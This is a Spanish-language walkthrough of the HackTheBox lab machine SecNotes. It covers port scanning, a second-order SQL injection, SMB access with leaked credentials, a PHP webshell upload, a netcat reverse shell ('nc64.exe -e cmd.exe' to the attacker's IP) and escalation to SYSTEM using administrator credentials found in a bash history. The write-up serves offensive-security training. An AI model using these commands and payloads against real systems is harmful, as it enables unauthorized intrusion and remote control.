Saltar al contenido

HackTheBox – SecNotes – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina SecNotes de Hack The Box. Es una máquina Windows de nivel medio, pero bastante sencilla de resolver, con una inyección SQL de «segundo orden» y una escalada de privilegios inusualmente sencilla.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --open --min-rate 5000 10.10.10.97

En la máquina hay tres puertos abiertos. Escaneo los tres puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p80,445,8808 -sC -sV 10.10.10.97
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-04 16:30 CET
Nmap scan report for 10.10.10.97
Host is up (0.11s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 500 - Internal server error.
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h55m52s, deviation: 4h37m09s, median: 15m51s
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2022-03-04T07:46:35-08:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-03-04T15:46:37
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.15 seconds

Con esto descubro que, en los puertos 80 y 8808 se está ejecutando un IIS 10.0 en cada uno. Como no consigo nada del puerto 445, paso a recabar información de los servicios http.

http

En primer lugar leo las cabeceras de los dos servicios con whatweb.

whatweb -a 3 http://10.10.10.97:80/
whatweb -a 3 http://10.10.10.97:8808/

En el puerto 8808 se está ejecutando la pantalla de bienvenida básica de IIS, mientras que en el puerto 80 me redirecciona a una pantalla de autenticación situada en /login.php.

Explotación

Pruebo varias credenciales estándar pero no consigo autenticarme así que decido crear un nuevo usuario, al que llamaré test.

Después de un rato trasteando con las opciones de la máquina y lo único que he encontrado es que hay un usuario llamado tyler (mas tarde me enteraría que existe una vulnerabilidad de CSRF/XSRF), decido probar inyecciones SQL de segundo orden (más información aquí).

En resumen, una inyección SQL de segundo orden surge cuando primero se almacenan los datos de la inyección en la aplicación y luego se incorpora (la inyección) a la consulta.

Pongo el código típico de inyección ' or '1'='1 en los tres campos del formulario de creación del usuario (más tarde descubriré que la vulnerabilidad se encuentra solo en el campo Username).

Me permite crear el usuario, por lo tanto, la primera parte de la inyección se ha completado. Para ejecutar la inyección, únicamente me autentico con las credenciales que he introducido.

Al acceder, veo que me muestra toda la información almacenada.

Las dos primeras notas no tienen importancia, pero en la tercera encuentro las credenciales tyler:92g!mA8BGjOirkL%OG*& para la ruta \\secnotes.htb\new-site.

Enseguida identifico que las credenciales son de una unidad de disco de SMB. Veo el contenido del directorio con smbmap y muestra los ficheros que quedan por defecto en la instalación de IIS.

smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' -r new-site

Como en el puerto 8808 aparece la pantalla de bienvenida de IIS, es bastante probable que este directorio de SMB y esté relacionado con el IIS. Para comprobarlo, veo el código fuente de la pantalla de bienvenida de IIS y veo que el nombre de la imagen coincide.

Accedo al directorio \\secnotes.htb\new-site por smbclient y subo un backdoor en php (por defecto en kali en la ruta /usr/share/webshells/php/simple-backdoor.php). También añado el dominio secnotes.htb al /etc/hosts.

smbclient \\\\secnotes.htb\\new-site -U 'tyler%92g!mA8BGjOirkL%OG*&'

Accedo a la ruta http://10.10.10.97:8808/simple-backdoor.php desde el navegador y veo las instrucciones de uso del backdoor.

Ya tengo una webshell desde la que ejecutar comandos.

http://10.10.10.97:8808/simple-backdoor.php?cmd=whoami

Para conseguir una shell reversa, subo al directorio, un exe de netcat (por defecto en kali en la ruta /usr/share/windows-resources/binaries/nc64.exe).

Pongo un netcat a la escucha por el puerto 7897 y ejecuto el siguiente comando desde la webshell.

http://10.10.10.97:8808/simple-backdoor.php?cmd=nc64.exe -e cmd.exe 10.10.14.14 7897

La flag de usuario la encuentro en la ruta C:\Users\tyler\Desktop.

Escalada de Privilegios

En el escritorio del usuario tyler encuentro un fichero de acceso directo poco habitual llamado bash.lnk.

Leo el fichero con type y, entre los caracteres extraños, se puede leer que hace referencia varias veces a la ruta C:\Windows\System32\bash.exe.

Además, buscando un poco, encuentro varias referencias a Ubuntu dentro del sistema.

Ejecuto el binario de bash.exe desde el directorio temporal del sistema y parece que consigo una shell en bash muy limitada. Para poder usarla mejor, utilizo python para obtener un pty interactivo.

python -c 'import pty;pty.spawn("/bin/bash")'

Enumero el contenido oculto del directorio y veo que se encuentra fichero del histórico de los comandos del usuario (.bash_history).

Leo el contenido del fichero y, casi al final, encuentro lo que parecen ser unas credenciales de SMB del usuario administrador. Las credenciales son administrator:u6!4ZwgwOM#^OBf#Nwnh.

Utilizo estas credenciales para autenticar con  psexec.py de impacket y consigo acceder al sistema como nt authority\system.

psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop.

Publicado enCTFHTBOSCPwindows